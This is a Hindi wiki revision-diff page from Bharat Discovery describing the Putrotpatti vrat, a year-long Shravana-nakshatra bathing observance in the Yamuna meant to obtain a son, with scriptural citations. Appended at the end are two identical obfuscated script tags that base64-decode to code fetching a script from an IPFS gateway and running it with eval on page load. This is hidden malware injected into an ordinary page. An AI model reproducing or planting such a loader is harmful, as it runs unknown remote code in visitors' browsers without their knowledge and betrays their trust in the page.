"पुत्रोत्पत्ति व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "उल्लखित" to "उल्लिखित")
छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==")
 
पंक्ति 4: पंक्ति 4:
*इससे वैसा ही पुत्र प्राप्त होता है, जैसा की शक्ति के पुत्र एवं [[वसिष्ठ]] के पौत्र [[पराशर]] को प्राप्त हुआ था।<ref>कृत्यकल्पतरु (व्रतखण्ड 409, [[वराह पुराण]] से उद्धरण); हेमाद्रि (व्रतखण्ड 2|249-50, [[आदित्य पुराण]] से श्लोकों का उद्धरण)।</ref>
*इससे वैसा ही पुत्र प्राप्त होता है, जैसा की शक्ति के पुत्र एवं [[वसिष्ठ]] के पौत्र [[पराशर]] को प्राप्त हुआ था।<ref>कृत्यकल्पतरु (व्रतखण्ड 409, [[वराह पुराण]] से उद्धरण); हेमाद्रि (व्रतखण्ड 2|249-50, [[आदित्य पुराण]] से श्लोकों का उद्धरण)।</ref>


{{संदर्भ ग्रंथ}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

09:55, 21 मार्च 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह नक्षत्र व्रत है।
  • एक वर्ष तक प्रत्येक श्रवण नक्षत्र पर यमुना में स्नान किया जाता है।
  • इससे वैसा ही पुत्र प्राप्त होता है, जैसा की शक्ति के पुत्र एवं वसिष्ठ के पौत्र पराशर को प्राप्त हुआ था।[1]


टीका टिप्पणी और संदर्भ

  1. कृत्यकल्पतरु (व्रतखण्ड 409, वराह पुराण से उद्धरण); हेमाद्रि (व्रतखण्ड 2|249-50, आदित्य पुराण से श्लोकों का उद्धरण)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>